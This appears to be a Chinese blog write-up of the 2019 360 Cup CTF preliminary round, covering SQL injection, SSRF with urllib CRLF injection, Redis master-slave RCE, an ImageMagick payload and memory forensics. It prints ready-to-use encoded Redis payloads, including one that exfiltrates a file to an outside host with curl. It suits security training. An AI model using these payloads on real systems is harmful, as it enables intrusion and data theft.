美文网首页
2019 360杯网络安全职业技能大赛 初赛WriteUP

2019 360杯网络安全职业技能大赛 初赛WriteUP

作者: Eumenides_62ac | 来源:发表于2019-10-30 20:44 被阅读0次

    立志成为admin的男人

    通过注册,提示要admin


    登陆处存在sql注入:

    sqlmap注出管理员账号:

    这里没有权限读取index.php,那肯定也没有权限能写webshell


    扫描可以得到一个test.php,里面打印当前的用户名:

    这里可以通过注入漏洞,往/tmp目录下的session文件中写入,来伪造自己admin的身份。

    修改session,访问index.php就可以得到flag

    用Python写的一个网站 好像还没有写完?

    首页有个ssrf漏洞,但是能通过http协议访问。
    可以看一下请求头,是nginx,并且网站是用python/3.6.5写的:


    存在nginx目录穿越漏洞,可以得到源码:/static../main.py

    pythonurllib出现过头注入,可以同来攻击内网ssrf,来测试一下:


    成功注入头部,存在urllib头注入漏洞。
    这里攻击内网redis,用到了主从rcegithub上有开源的脚本
    先开启恶意的redis服务器:

    然后设置redis的主服务器为恶意redis服务。
    auth password123                //
    
    *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
    
    SLAVEOF 192.168.21.1 7789       //
    
    *3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a
    
    CONFIG SET dbfilename exp.so    //
    
    *4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a
    

    发送数据:

    curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'
    

    加载恶意模块:

    auth password123                //
    
    *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
    
    MODULE LOAD ./exp.so            //
    
    *3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a
    
    SLAVEOF NO ONE                  //
    
    *3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a
    

    发送数据:

    curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'`
    

    然后执行命令,因为无回显,所以利用curl命令把flag文件传输出去:

    auth password123                //
    
    *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
    
    system.exec 'curl -F "file=@/flag"
    
    http://192.168.21.1:7789'    //
    
    *2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a
    

    发送数据:

    curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'
    

    最后删除恶意模块,关闭恶意模块:

    auth password123                //
    
    *2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
    
    CONFIG SET dbfilename dump.rdb  //
    
    *4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a
    
    system.exec 'rm ./exp.so'       //
    
    *2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a
    
    MODULE UNLOAD system            //
    
    *3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a
    

    发送数据:

    curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a
    

    真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?

    打开,需要爆破得到账号密码admin/1qaz@WSX。(吐槽:这TM谁爆得出来?)


    登陆后有个上传点,源码有串base64提示:

    这里就利用imagemagick+getimagesize来执行代码。参考链接
    payload
    push graphic-context
    
    viewbox 0 0 640 480
    
    fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
    
    pop graphic-context
    
    #define xlogo_width 200
    
    #define xlogo_height 200
    

    最后找下flag

    注入真的好难!!!

    分析数据包,可以看到一堆sql盲注的流量。


    参照土司机的博客,可以提取出最后的url:t.cn/Ai8PhqSbpasswd:bkis
    得到一个加密的压缩包。
    翻找流量包,可以看到一个readme.7z

    看到两个压缩包都有readme.txt,所以是明文攻击。

    readme.7z解压,再用7z压缩工具把readme.txt压缩成zip形式的。

    解压就可以得到最后的flag

    google语法真不错!!!

    给了一个系统镜像,首先分析下版本:

    $ volatility -f xp.raw imageinfo
    

    架构应该是WinXPSP2x86
    查看下进程:
    $ volatility -f xp.raw –profile=WinXPSP2x86 pslist
    

    可以查看下桌面文件:

    $ volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面
    

    有个360.jpg,提取一下:
    $ volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340
    

    再去查看下ie浏览器历史:
    $ volatility -f xp.raw –profile=WinXPSP2x86 iehistory
    

    搜索下可以发现个github仓库:

    看下提交记录,提示了F5,那就是F5隐写了。

    解密:
    $ java Extract 360.jpg -p 360CTFisSOeasy
    

    得到out.txt,里面就是flag

    相关文章

      网友评论

          本文标题:2019 360杯网络安全职业技能大赛 初赛WriteUP

          本文链接:https://www.haomeiwen.com/subject/iplavctx.html